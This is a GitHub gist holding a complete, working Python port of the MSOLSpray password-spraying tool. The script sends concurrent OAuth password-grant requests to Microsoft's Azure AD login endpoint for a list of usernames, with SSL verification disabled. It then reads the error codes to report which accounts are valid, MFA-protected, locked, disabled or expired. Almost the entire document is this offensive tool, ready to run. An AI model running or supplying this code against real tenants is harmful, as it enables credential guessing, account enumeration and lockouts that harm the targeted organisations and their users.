Skip to content

Instantly share code, notes, and snippets.

@byt3bl33d3r
Last active March 6, 2024 05:03
Show Gist options
  • Star 31 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f to your computer and use it in GitHub Desktop.
Save byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f to your computer and use it in GitHub Desktop.
Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)
#! /usr/bin/env python3
#
# Requires Python 3.7+ & aiohttp (speedups recommended)
# pip3 install aiohttp[speedups]
#
import sys
import asyncio
import aiohttp
import logging
import pathlib
import contextvars
handler = logging.StreamHandler()
handler.setFormatter(
logging.Formatter("[%(levelname)s] %(message)s")
)
log = logging.getLogger("msolspray")
log.setLevel(logging.DEBUG)
log.addHandler(handler)
task_username = contextvars.ContextVar('username')
old_factory = logging.getLogRecordFactory()
def new_factory(*args, **kwargs):
record = old_factory(*args, **kwargs)
username = task_username.get(None)
if username:
record.msg = f"{username:<30} - {record.msg}"
return record
logging.setLogRecordFactory(new_factory)
async def spray(session: aiohttp.ClientSession, sem: asyncio.BoundedSemaphore, username: str, password: str) -> None:
async with sem:
task_username.set(username)
data = {
'resource': 'https://graph.windows.net',
'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894',
'client_info': '1',
'grant_type': 'password',
'username': username,
'password': password,
'scope': 'openid'
}
headers = {
'Accept': 'application/json',
'Content-Type': 'application/x-www-form-urlencoded'
}
async with session.post("https://login.microsoft.com/common/oauth2/token", headers=headers, data=data) as r:
if r.status == 200:
log.debug(f"Found valid account {username} / {password}.")
return
else:
msg = await r.json()
#log.debug(beutify_json(msg))
#log.debug(f"Error: {error}")
error = msg['error_description'].split('\r\n')[0]
if "AADSTS50126" in error:
log.debug("Invalid password.")
elif "AADSTS50128" in error or "AADSTS50059" in error:
log.debug("Tenant for account doesn't exist. Check the domain to make sure they are using Azure/O365 services.")
elif "AADSTS50034" in error:
log.debug("The user doesn't exist.")
elif "AADSTS50079" in error or "AADSTS50076" in error:
log.debug("Credential valid however the response indicates MFA (Microsoft) is in use.")
elif "AADSTS50158" in error:
log.debug("Credential valid however the response indicates conditional access (MFA: DUO or other) is in use.")
elif "AADSTS50053" in error:
log.debug("The account appears to be locked.")
elif "AADSTS50057" in error:
log.debug("The account appears to be disabled.")
elif "AADSTS50055" in error:
log.debug("Credential valid however the user's password is expired.")
else:
log.debug(f"Got unknown error: {error}")
async def username_generator(usernames: str):
path = pathlib.Path(usernames)
if path.exists():
usernames = open(path.expanduser())
else:
usernames = sys.argv[1].split(',')
try:
for user in usernames:
yield user.rstrip('\n')
finally:
if path.exists():
usernames.close()
async def main(usernames: str, password: str, threads: int = 25) -> None:
connector = aiohttp.TCPConnector(ssl=False)
async with aiohttp.ClientSession(
connector=connector,
cookie_jar=aiohttp.DummyCookieJar(),
trust_env=True
) as session:
sem = asyncio.BoundedSemaphore(value=threads)
tasks = [asyncio.create_task(spray(session, sem, user, password)) async for user in username_generator(usernames)]
await asyncio.gather(*tasks)
if __name__ == '__main__':
threads = 25
if len(sys.argv) < 3:
print(f"Usage: {__file__} <usernames> <password> [<threads>]")
else:
asyncio.run(
main(
sys.argv[1],
sys.argv[2],
threads
)
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment